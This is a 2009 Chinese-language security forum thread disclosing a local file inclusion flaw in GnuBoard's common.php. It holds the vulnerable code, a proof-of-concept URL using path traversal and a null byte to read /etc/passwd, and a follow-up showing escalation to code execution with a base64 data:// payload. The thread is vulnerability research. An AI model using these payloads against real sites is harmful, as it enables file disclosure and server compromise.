Wolves Security Team

Unfortunately no one can be told what W.S.T is - you have to see it for yourself.

You are not logged in.

Announcement

欢迎cnryan同学加入狼族:-)

Follow Wolves Security Team Official Google Buzz!

  • Index
  • » 原创
  • » GnuBoard本地文件包含漏洞

#1 2009-01-14 09:25:21

flyh4t
Administrator
Registered: 2008-10-06
Posts: 89

GnuBoard本地文件包含漏洞

By Flyh4t
http://bbs.wolvez.org/

GnuBoard是韩国比较常见的一个论坛,存在较多的漏洞,其中common.php存在一个文件包含漏洞
看common.php代码

@extract($_GET);
@extract($_POST);
@extract($_SERVER); 

……

if (!$g4_path || preg_match("/:\/\//", $g4_path))
    die("<meta http-equiv='content-type' content='text/html; charset=$g4[charset]'><script language='JavaScript'> alert('肋给等 规过栏肺 函荐啊 沥狼登菌嚼聪促.'); </script>"); 
   
//if (!$g4_path) $g4_path = ".";

$g4['path'] = $g4_path; //只限制了$g4_path不能有字符 ://

unset($g4_path);

include_once("$g4[path]/lib/constant.php");  //本地文件包含漏洞
include_once("$g4[path]/config.php");  
include_once("$g4[path]/lib/common.lib.php");

poc

http://test.com/GnuBoard/common.php?g4_path=../../../../../../../etc/passwd%00

Last edited by flyh4t (2009-01-15 12:36:15)

Offline

#2 2009-01-15 12:38:42

q1ur3n
Administrator
Registered: 2008-10-05
Posts: 52

Re: GnuBoard本地文件包含漏洞

在Ryat牛的提示下,这个本地包含晋升为远程代码执行漏洞。
bypass_local.php

<?php
if (!$g4_path || preg_match("/:\/\//", $g4_path))
    die("fuck");
$g4['path'] = $g4_path;
unset($g4_path);
include_once("$g4[path]/lib/constant.php");
?>

在allow_url_include = On且PHP >= 5.2.0的条件下
提交bypass_local.php?g4_path=data:;base64,PD9waHBpbmZvKCk7Lyo=
成功执行phpinfo()

Offline

#3 2009-01-15 12:42:06

flyh4t
Administrator
Registered: 2008-10-06
Posts: 89

Re: GnuBoard本地文件包含漏洞

顶楼上的

有时候用data方式或者php://input方式是个不错的方法

Offline

  • Index
  • » 原创
  • » GnuBoard本地文件包含漏洞

Board footer

Powered by FluxBB